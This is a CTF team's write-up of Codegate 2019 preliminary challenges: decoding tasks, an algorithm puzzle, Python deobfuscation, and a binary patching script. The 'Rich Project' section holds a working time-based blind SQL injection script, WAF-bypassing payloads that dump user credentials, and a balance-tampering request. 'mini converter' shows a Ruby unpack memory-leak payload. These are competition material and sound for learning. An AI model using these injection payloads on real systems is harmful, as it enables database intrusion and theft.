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<div class="col-10 py-3">
<article class="markdown-body"><h1 id="codegate-ctf-2019-preliminary"><a class="header-link" href="#codegate-ctf-2019-preliminary"></a>Codegate CTF 2019 Preliminary</h1>
<p>We have some new team members in this CTF: kaibro, limbo, billy, tens, yuawn. Welcome them!</p>
<h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2>
<h3 id="mic-check"><a class="header-link" href="#mic-check"></a>MIC check</h3>
<p>Simple ascii 85 encoding. Just decode the string and we got the flag: <code>Let the hacking begins ~</code></p>
<h3 id="algo_auth"><a class="header-link" href="#algo_auth"></a>algo_auth</h3>
<blockquote>
<p>kaibro</p>
</blockquote>
<p>Easy algorithm problem</p>
<p>we can use DFS to bruteforce the answer.</p>
<p>Here is my algorithm code(C++):</p>
<pre class="hljs"><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><iostream></span></span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;
<span class="hljs-keyword">int</span> best = <span class="hljs-number">1e8</span>;
<span class="hljs-keyword">int</span> mx[<span class="hljs-number">7</span>][<span class="hljs-number">7</span>];
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">dfs</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y, <span class="hljs-keyword">int</span> val)</span> </span>{
<span class="hljs-keyword">if</span>(val + mx[x][y] > best) <span class="hljs-keyword">return</span>;
<span class="hljs-keyword">if</span>(x == <span class="hljs-number">6</span>)
best = min(best, val + mx[x][y]);
<span class="hljs-keyword">if</span>(x > <span class="hljs-number">6</span> || x < <span class="hljs-number">0</span> || y > <span class="hljs-number">6</span> || y < <span class="hljs-number">0</span>) {
<span class="hljs-keyword">if</span>(x > <span class="hljs-number">6</span> || (x == <span class="hljs-number">6</span> && y < <span class="hljs-number">0</span>) || (x == <span class="hljs-number">6</span> && y > <span class="hljs-number">6</span>))
best = min(val, best);
<span class="hljs-keyword">return</span>;
}
dfs(x + <span class="hljs-number">1</span>, y, val + mx[x][y]);
dfs(x, y - <span class="hljs-number">1</span>, val + mx[x][y]);
dfs(x, y + <span class="hljs-number">1</span>, val + mx[x][y]);
}
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
ios_base::sync_with_stdio(<span class="hljs-number">0</span>);
<span class="hljs-keyword">for</span>(<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i < <span class="hljs-number">7</span>; i++)
<span class="hljs-keyword">for</span>(<span class="hljs-keyword">int</span> j = <span class="hljs-number">0</span>; j < <span class="hljs-number">7</span>; j++)
<span class="hljs-built_in">cin</span> >> mx[j][i];
<span class="hljs-keyword">for</span>(<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i < <span class="hljs-number">7</span>; ++i)
dfs(<span class="hljs-number">0</span>, i, <span class="hljs-number">0</span>);
<span class="hljs-built_in">cout</span> << best << <span class="hljs-built_in">endl</span>;
<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}</code></pre><p>After solving 100 stages, I got this message: <code>@@@@@ Congratz! Your answers are an answer</code></p>
<p>But this is not flag.</p>
<p>In every stage, we can get a number of smallest path sum.</p>
<p>And this value will not change in different connections.</p>
<p>So I try to convert the numbers(ascii code) to characters in every stages, and I got this base64 string: </p>
<p><code>RkxBRyA6IGcwMG9vT09kX2owQiEhIV9fX3VuY29tZm9ydDRibGVfX3MzY3VyaXR5X19pc19fbjB0X180X19zZWN1cml0eSEhISEh</code></p>
<p>Decode it, and get flag:</p>
<p><code>echo RkxBRyA6IGcwMG9vT09kX2owQiEhIV9fX3VuY29tZm9ydDRibGVfX3MzY3VyaXR5X19pc19fbjB0X180X19zZWN1cml0eSEhISEh | base64 -d</code></p>
<p><code>FLAG : g00ooOOd_j0B!!!___uncomfort4ble__s3curity__is__n0t__4__security!!!!!</code></p>
<h3 id="mini-converter"><a class="header-link" href="#mini-converter"></a>mini converter</h3>
<blockquote>
<p>kaibro</p>
</blockquote>
<p>The problem is on <code>puts input.unpack("C*#{input}.length")</code></p>
<p>It put input to the string of unpack method</p>
<p>So we can control the result of unpack to leak flag.</p>
<p>In Ruby unpack format, <code>@</code> can <code>skip to the offset given by the length argument</code></p>
<p>If we assign a large positive number to it, the number will overflow to negative number.</p>
<p>Then we can leak previous content, including the <code>flag</code>.</p>
<p>Payload:</p>
<p><code>nc 110.10.147.105 12137 | strings | grep flag</code></p>
<p>and then paste <code>@18446744073708410316A1150000</code>, <code>1</code> repeatedly.</p>
<pre class="hljs"><code>$ nc <span class="hljs-number">110.10</span>.<span class="hljs-number">147.105</span> <span class="hljs-number">12137</span> <span class="hljs-params">| strings |</span> grep flag
@18446744073708410316A1150000
<span class="hljs-number">1</span>
$(cflags) -fPIC
$(DEFS) $(cppflags)
$(cxxflags)
DEFS) $(cppflags)
cflags
cppflags
cxxflags
optflags
debugflags
warnflags
strict_warnflags
flags
@18446744073708410316A1150000
<span class="hljs-number">1</span>
flag
flag
$(optflags) $(debugflags) $(warnflags)
flag = <span class="hljs-string">"FLAG{Run away with me.It'll be the way you want it}"</span></code></pre><h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="rich-project"><a class="header-link" href="#rich-project"></a>Rich Project</h3>
<blockquote>
<p>bookgin, kaibro</p>
</blockquote>
<p>After scanning, I found:</p>
<p><code>http://110.10.147.112/robots.txt</code></p>
<pre class="hljs"><code>User-<span class="hljs-string">agent :</span> *
<span class="hljs-string">Disallow:</span> /top_secret.zip
<span class="hljs-string">Disallow:</span> /</code></pre><p>But the zip file has an unknown password, and there is a file <code>ZIP PASS = MASTER_PW</code> in it.</p>
<p>So we need to find the MASTER's password first.</p>
<p><br></p>
<p>And then I found a SQL Injection in the register page. (<a href="http://110.10.147.112/?p=reg">http://110.10.147.112/?p=reg</a>)</p>
<p>The point of SQL Injection is on <code>ac</code> parameter.</p>
<p>If we input <code>'||sleep(10)||'1</code> on <code>ac</code>, it will sleep 10 seconds.</p>
<p>So I guess the SQL query may look like <code>INSERT INTO xxx VALUES ('id', 'pw', 'ac')</code></p>
<p>(after input <code>1'+'2</code>, the value of ac in <code>/?p=info</code> is <code>3</code>)</p>
<p><br></p>
<p>After fuzzing, I found that there is WAF behind the website.</p>
<p>If I input <code>group_concat</code>, <code>group by</code>, <code>where</code>, <code>order</code>, <code>limit</code>, <code>'''</code>, <code>''''</code>, ..., the response text is <code>no hack</code>.</p>
<p>I can still dump some basic information by this script (time based sql injection):</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> random
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
sql = raw_input(<span class="hljs-string">":"</span>)
res = <span class="hljs-string">''</span>
<span class="hljs-keyword">for</span> tl <span class="hljs-keyword">in</span> range(<span class="hljs-number">30</span>):
l = <span class="hljs-number">20</span>
r = <span class="hljs-number">140</span>
<span class="hljs-keyword">while</span> l <= r:
<span class="hljs-keyword">if</span> l == r:
res += chr(l)
print(l, chr(l))
print(res)
<span class="hljs-keyword">break</span>
m = (l + r) // <span class="hljs-number">2</span>
<span class="hljs-keyword">print</span> <span class="hljs-string">"now:"</span>+str(m)
ac = <span class="hljs-string">"'||if(ascii(mid({},{},1))>{}, sleep(2),1)=1||'1"</span>.format(sql, tl+<span class="hljs-number">1</span>, m)
t1 = int(time.time())
req = requests.post(<span class="hljs-string">"http://110.10.147.112/?p=reg"</span>, data={<span class="hljs-string">'id'</span>:<span class="hljs-string">'kaizzzbro666'</span>+str(random.randint(<span class="hljs-number">1</span>,<span class="hljs-number">500</span>)),<span class="hljs-string">'pw'</span>:<span class="hljs-string">'kaibro'</span>, <span class="hljs-string">'ac'</span>:ac})
<span class="hljs-comment"># print r.text</span>
t2 = int(time.time())
<span class="hljs-keyword">if</span> t2 - t1 >= <span class="hljs-number">2</span>:
l = m + <span class="hljs-number">1</span>
<span class="hljs-keyword">else</span>:
r = m</code></pre><pre class="hljs"><code><span class="hljs-function"><span class="hljs-title">user</span><span class="hljs-params">()</span></span>: db_manager@localhost
<span class="hljs-function"><span class="hljs-title">database</span><span class="hljs-params">()</span></span>: userdata
<span class="hljs-function"><span class="hljs-title">version</span><span class="hljs-params">()</span></span>: <span class="hljs-number">5.7</span>.<span class="hljs-number">25</span>-<span class="hljs-number">0</span>ubuntu0.<span class="hljs-number">18.04</span>.<span class="hljs-number">2</span></code></pre><p>But it is a little hard to dump schema name, table name, column name by this script.</p>
<p>After discussing, we found a method can dump schema_name, table_name and column_name:</p>
<ul class="list">
<li>Dump table name<ul class="list">
<li><code>0' |(select count(*) from (select table_schema,table_name from information_schema.tables having table_schema !="sys" and table_schema !="mysql" and table_schema !="performance_schema" and table_schema !="information_schema" and table_name regexp "[a-z].*") as b)| '0</code></li>
</ul>
</li>
</ul>
<p>(if the regex pattern matches, the value of ac in the info page will show a number > 0)</p>
<ul class="list">
<li>Dump column name<ul class="list">
<li><code>0' |(select count(*) from (select column_name from information_schema.columns having table_name="users" and column_name regexp ".*") as b)| '0</code></li>
</ul>
</li>
<li>Dump data<ul class="list">
<li><code>0' |(select count(*) from (select id, pw from userdata.users having id="MASTER" and pw regexp ".*") as b)| '0</code></li>
</ul>
</li>
</ul>
<p>Because the account number is a signed 8-byte integer, we can use <code>hex(mid((select pw from (select id, pw from userdata.users having id="admin") as b), 1, 8))</code> to extract 8 bytes of the SHA1 password at once.</p>
<h4 id="result"><a class="header-link" href="#result"></a>Result</h4>
<p>there is two tables in the userdata db:</p>
<ul class="list">
<li><code>users</code><ul class="list">
<li><code>id</code></li>
<li><code>pw</code></li>
<li><code>ac</code></li>
</ul>
</li>
<li><code>user_wallet</code></li>
</ul>
<p>And we found a user <code>MASTER</code> with password <code>master</code> and ac <code>master</code>, but this is fake user lol.</p>
<p>There is another user <code>admin</code> with password <code>hacker</code> and ac <code>ADMIN_ACC0UNTS</code>.</p>
<p>After login as <code>admin</code>, we can view the <code>TOP SECRET</code> now:</p>
<pre class="hljs"><code>They are manipulating the price <span class="hljs-keyword">of</span> coins!!
How can <span class="hljs-keyword">this</span> be? When I knew <span class="hljs-literal">that</span>, I decided <span class="hljs-keyword">to</span> expose <span class="hljs-literal">that</span>.
Fortunately, I have a MASTER PASSWORD (<span class="hljs-keyword">not</span> flag). It <span class="hljs-keyword">is</span>..
<span class="hljs-string">'D0_N0T_RE1E@5E_0THER5'</span>
Also, they have set up evidence <span class="hljs-keyword">to</span> <span class="hljs-keyword">not</span> be searched(googling).
If you read <span class="hljs-keyword">this</span> message, please found evidence <span class="hljs-keyword">and</span> expose <span class="hljs-literal">it</span>.</code></pre><p>so the password of zip file is <code>D0_N0T_RE1E@5E_0THER5</code>.</p>
<p>I found there is a logic vulnerabilty in <code>reserv.php</code> after code review.</p>
<p>we can assign arbitrary number to <code>$_POST['amount']</code> in <code>reserv.php</code>, and it will update the amount of <code>user_wallet</code>:</p>
<pre class="hljs"><code><span class="hljs-symbol">http:</span><span class="hljs-comment">//110.10.147.112/?p=reserv</span>
code=D0_N0T_RE1E@<span class="hljs-number">5</span>E_0THER5<span class="hljs-variable">&date</span>=<span class="hljs-number">2019</span><span class="hljs-number">-01</span><span class="hljs-number">-29</span><span class="hljs-variable">&amount</span>=<span class="hljs-number">1000000000</span></code></pre><p>Then, we can sell our coins to gold in <code>sell.php</code>.</p>
<p>If we got <code>cash >= 999999999</code>, we can buy the flag in <code>pay.php</code>:</p>
<p class="img-container"><img src="https://i.imgur.com/zkWpfpq.png" alt=""></p>
<p><a href="http://110.10.147.112/?key=D0_N0T_RE1E@5E_0THER5&p=pay">http://110.10.147.112/?key=D0_N0T_RE1E@5E_0THER5&p=pay</a></p>
<p><code>FLAG{H0LD_Y0UR_C0IN_T0_9999-O9-O9!}</code></p>
<h4 id="unintended-solution-for-cracking-the-zip-file"><a class="header-link" href="#unintended-solution-for-cracking-the-zip-file"></a>Unintended solution for cracking the zip file</h4>
<p>Since there are a few files with known plaintext, one can crack the zip using <a href="https://github.com/hyperreality/ctf-writeups/blob/master/2019-codegate/README.md#cracking-the-zip">zip plaintext attack</a>. What a clever approach! This approach is credited to @hyperreality.</p>
<h2 id="rev"><a class="header-link" href="#rev"></a>Rev</h2>
<h3 id="pyprot3ct"><a class="header-link" href="#pyprot3ct"></a>PyProt3ct</h3>
<blockquote>
<p>limbo</p>
</blockquote>
<p>We were given the challenge's source code ( python ). By checking the source code, we know that <code>play.py</code> is responsible for the flag checking logic. However it's been obfuscated:</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">O0O0OOO00OO00O000</span><span class="hljs-params">(OOOO0OOOO000OO000)</span>:</span>
O00OOOOOO000OOO00=<span class="hljs-number">2001</span>
OOO0OOOOOOO0O00O0=<span class="hljs-number">2002</span>
O0O00000000OO0OO0=OOOO0OOOO000OO000[O00OOOOOO000OOO00]
O0O00000000OO0OO0=O0O00000000OO0OO0.decode(<span class="hljs-string">"utf-8"</span>)
OOOOO0OOO0OOO0O0O=OOOO0OOOO000OO000[OOO0OOOOOOO0O00O0]
OOOOO0OOO0OOO0O0O=OOOOO0OOO0OOO0O0O.decode(<span class="hljs-string">"utf-8"</span>)
OOOOO0OOO0OOO0O0O=int(OOOOO0OOO0OOO0O0O)
...............................</code></pre><p>We have to recover the flag checking logic manually. Here's the de-obfuscated version ( pseudo-code ):</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">do</span><span class="hljs-params">(x)</span>:</span>
a = x >> <span class="hljs-number">32</span>
a ^= <span class="hljs-number">0xffc2bdec</span>
a += <span class="hljs-number">0xffc2bdec</span>
a &= <span class="hljs-number">0xffffffff</span>
b = x & <span class="hljs-number">0xffffffff</span>
b ^= <span class="hljs-number">0xffc2bdec</span>
b += <span class="hljs-number">0xffc2bdec</span>
b &= <span class="hljs-number">0xffffffff</span>
c = ((b << <span class="hljs-number">32</span>) | a)&<span class="hljs-number">0xffffffffffffffff</span>
d = ((c & <span class="hljs-number">0x7f</span>) << <span class="hljs-number">57</span>)&<span class="hljs-number">0xffffffffffffffff</span>
<span class="hljs-keyword">return</span> ((c >> <span class="hljs-number">7</span>) | d) & <span class="hljs-number">0xffffffffffffffff</span>
flag = raw_input(<span class="hljs-string">"flag:"</span>).strip()
now = int(<span class="hljs-string">"0x"</span> + flag.encode(<span class="hljs-string">'hex'</span>), <span class="hljs-number">16</span>)
<span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> xrange(<span class="hljs-number">0x7f</span>):
now = do(now)
print(hex(now))
<span class="hljs-keyword">assert</span> now == <span class="hljs-number">0xd274a5ce60ef2dca</span></code></pre><p>We can see that it's just some bit rotation and some xor/add operations. Just write a script and recover the flag:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">undo</span><span class="hljs-params">(x)</span>:</span>
c = ((x << <span class="hljs-number">7</span>) | (x >> <span class="hljs-number">57</span>))&<span class="hljs-number">0xffffffffffffffff</span>
b = ((((c >> <span class="hljs-number">32</span>)&<span class="hljs-number">0xffffffff</span>)<span class="hljs-number">-0xffc2bdec</span>)&<span class="hljs-number">0xffffffff</span>)^<span class="hljs-number">0xffc2bdec</span>
a = (((c&<span class="hljs-number">0xffffffff</span>)<span class="hljs-number">-0xffc2bdec</span>)&<span class="hljs-number">0xffffffff</span>)^<span class="hljs-number">0xffc2bdec</span>
<span class="hljs-keyword">return</span> ((a << <span class="hljs-number">32</span>) | b)&<span class="hljs-number">0xffffffffffffffff</span>
now = <span class="hljs-number">0xd274a5ce60ef2dca</span>
<span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> xrange(<span class="hljs-number">0x7f</span>):
now = undo(now)
print(hex(now)) <span class="hljs-comment"># hex string of the flag</span>
print(hex(now)[<span class="hljs-number">2</span>:<span class="hljs-number">-1</span>:].decode(<span class="hljs-string">'hex'</span>)) <span class="hljs-comment"># unhex the string to get the flag</span>
</code></pre><p>flag: <code>d34dPY27</code></p>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="kingmaker"><a class="header-link" href="#kingmaker"></a>KingMaker</h3>
<blockquote>
<p>yuawn</p>
</blockquote>
<p>The binary will xor the opcodes of some functions dynamically, we can find out the key by xor it with predictable opcodes.</p>
<ul class="list">
<li>patch<span></span>.py:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
s = open( <span class="hljs-string">'KingMaker'</span> ).read()
new = open( <span class="hljs-string">'./KingMaker.patched'</span> , <span class="hljs-string">'w+'</span> )
k = [ <span class="hljs-string">'lOv3'</span> , <span class="hljs-string">'D0l1'</span> , <span class="hljs-string">'HuNgRYT1m3'</span> , <span class="hljs-string">'F0uRS3aS0n'</span> , <span class="hljs-string">'T1kT4kT0Kk'</span> ]
p = [
(<span class="hljs-number">0x330f</span>,<span class="hljs-number">0xf0</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x33ff</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x341d</span>,<span class="hljs-number">0xf0</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x32c0</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x32de</span>,<span class="hljs-number">0x31</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x3197</span>,<span class="hljs-number">0x129</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x30d4</span>,<span class="hljs-number">0xc3</span>,<span class="hljs-number">1</span>),
(<span class="hljs-number">0x2D55</span>,<span class="hljs-number">0xfa</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2c25</span>,<span class="hljs-number">0x112</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2d37</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x27e9</span>,<span class="hljs-number">0x44</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x29b9</span>,<span class="hljs-number">0xe6</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2b2b</span>,<span class="hljs-number">0xfa</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x271c</span>,<span class="hljs-number">0xcd</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x28b5</span>,<span class="hljs-number">0xe6</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x299b</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2a9f</span>,<span class="hljs-number">0x4e</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2aed</span>,<span class="hljs-number">0x3e</span>,<span class="hljs-number">2</span>),
(<span class="hljs-number">0x282d</span>,<span class="hljs-number">0x44</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2871</span>,<span class="hljs-number">0x44</span>,<span class="hljs-number">2</span>),
(<span class="hljs-number">0x20e2</span>,<span class="hljs-number">0x18d</span>,<span class="hljs-number">3</span>) , (<span class="hljs-number">0x201f</span>,<span class="hljs-number">0xc3</span>,<span class="hljs-number">3</span>),
(<span class="hljs-number">0x1b0a</span>,<span class="hljs-number">0xf0</span>,<span class="hljs-number">4</span>) , (<span class="hljs-number">0x19f2</span>,<span class="hljs-number">0xfa</span>,<span class="hljs-number">4</span>) , (<span class="hljs-number">0x1aec</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">4</span>) , (<span class="hljs-number">0x192c</span>,<span class="hljs-number">0xa8</span>,<span class="hljs-number">4</span>) , (<span class="hljs-number">0x19d4</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">4</span>) , (<span class="hljs-number">0x16d0</span>,<span class="hljs-number">0xc3</span>,<span class="hljs-number">4</span>),
(<span class="hljs-number">0x11BB</span>,<span class="hljs-number">0x131</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0xf25</span>,<span class="hljs-number">0xDC</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0x108b</span>,<span class="hljs-number">0x130</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0xde7</span>,<span class="hljs-number">0x120</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0xf07</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0x1001</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0x101f</span>,<span class="hljs-number">0x4e</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0x106d</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">5</span>) , (<span class="hljs-number">0xC8C</span>,<span class="hljs-number">0x15B</span>,<span class="hljs-number">5</span>)
]
p.sort( key=<span class="hljs-keyword">lambda</span> x:x[<span class="hljs-number">0</span>] )
ss = <span class="hljs-string">''</span>
now = <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> i , l , kn <span class="hljs-keyword">in</span> p:
ss += s[now:i]
<span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> xrange( l ):
ss += chr( ord( s[ i + j ] ) ^ ord( k[ kn - <span class="hljs-number">1</span> ][j % len( k[ kn - <span class="hljs-number">1</span> ] )] ) )
now = i + l
ss += s[now:]
new.write(ss)
new.close()</code></pre><p>After some reversing.....</p>
<ul class="list">
<li>find_solution.py:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">import</span> itertools
init = [(<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>)]
a = [(<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">2</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>)]
b = [(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">2</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">-1</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>)]
c = [(<span class="hljs-number">-1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>)]
d = [(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">2</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">2</span>,<span class="hljs-number">1</span>,<span class="hljs-number">2</span>)]
e = [(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>)]
f = [(<span class="hljs-number">1</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">-1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">2</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>)]
g = [(<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>)]
h = [(<span class="hljs-number">-1</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">1</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-number">1</span>),(<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,<span class="hljs-number">2</span>,<span class="hljs-number">2</span>)]
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> itertools.product( init , a , b , c , d , e , f , g , h ):
found = <span class="hljs-number">1</span>
<span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> xrange( <span class="hljs-number">5</span> ):
sum = <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> k <span class="hljs-keyword">in</span> i:
sum += k[j]
<span class="hljs-keyword">if</span> sum != <span class="hljs-number">5</span>:
found = <span class="hljs-number">0</span>
<span class="hljs-keyword">if</span> found:
<span class="hljs-keyword">print</span> i
<span class="hljs-keyword">break</span></code></pre><ul class="list">
<li>flag.py:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-comment"># He_C@N'T_see_the_f0rest_foR_TH3_TRee$</span>
host , port = <span class="hljs-string">'110.10.147.104'</span> , <span class="hljs-number">13152</span>
y = remote( host , port )
<span class="hljs-comment">#ori = '\x55\x48\x89\xe5'</span>
<span class="hljs-comment">#enc = '\x39\x07\xff\xd6'</span>
<span class="hljs-comment">#key1 = ''.join( chr( ord(ori[_]) ^ ord(enc[_]) ) for _ in xrange(4) )</span>
<span class="hljs-comment">#key1 = 'lOv3'</span>
</code></pre><pre class="hljs"><code><span class="hljs-number">0x403197</span>
<span class="hljs-number">1</span>> Kill the enemy <span class="hljs-number">2</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>> Capture the captive <span class="hljs-number">2</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
<span class="hljs-number">3</span>> Just release <span class="hljs-number">2</span> <span class="hljs-number">0</span> <span class="hljs-number">2</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span>
<span class="hljs-number">0x402FCF</span> break time
<span class="hljs-number">1</span>> Spend time with orphanage children. <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">2</span>
<span class="hljs-number">2</span>> Host a big party. <span class="hljs-number">0</span> <span class="hljs-number">-1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">-1</span>
<span class="hljs-number">3</span>> Read a book in the room. <span class="hljs-number">0</span> <span class="hljs-number">2</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
<span class="hljs-number">0x402E4F</span> test <span class="hljs-number">2</span>
<span class="hljs-number">0x402c25</span> brother
<span class="hljs-number">1</span>> I will take the coin from servant. <span class="hljs-number">-1</span> <span class="hljs-number">0</span> <span class="hljs-number">-1</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>> I will go out.
<span class="hljs-number">1</span>> Yes I will buy.
<span class="hljs-number">1</span>> I will sell the apple with yelling to the crowd, 'I'm the prince of this kingdom!' <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>> I will sell the apple after I wash this apple really cleary. <span class="hljs-number">1</span> <span class="hljs-number">1</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>> No I will not. LOSE
<span class="hljs-number">3</span>> I will go to my brother and discuss about this.
<span class="hljs-number">1</span>> Rock, Scissors, Paper <span class="hljs-number">1</span> <span class="hljs-number">2</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">0</span>
<span class="hljs-number">2</span>> Fight lose
<span class="hljs-number">0x40266a</span> break <span class="hljs-number">2</span>
<span class="hljs-number">1</span>> Go to suppress the rebellion by force.
<span class="hljs-number">1</span>> Yes I am.
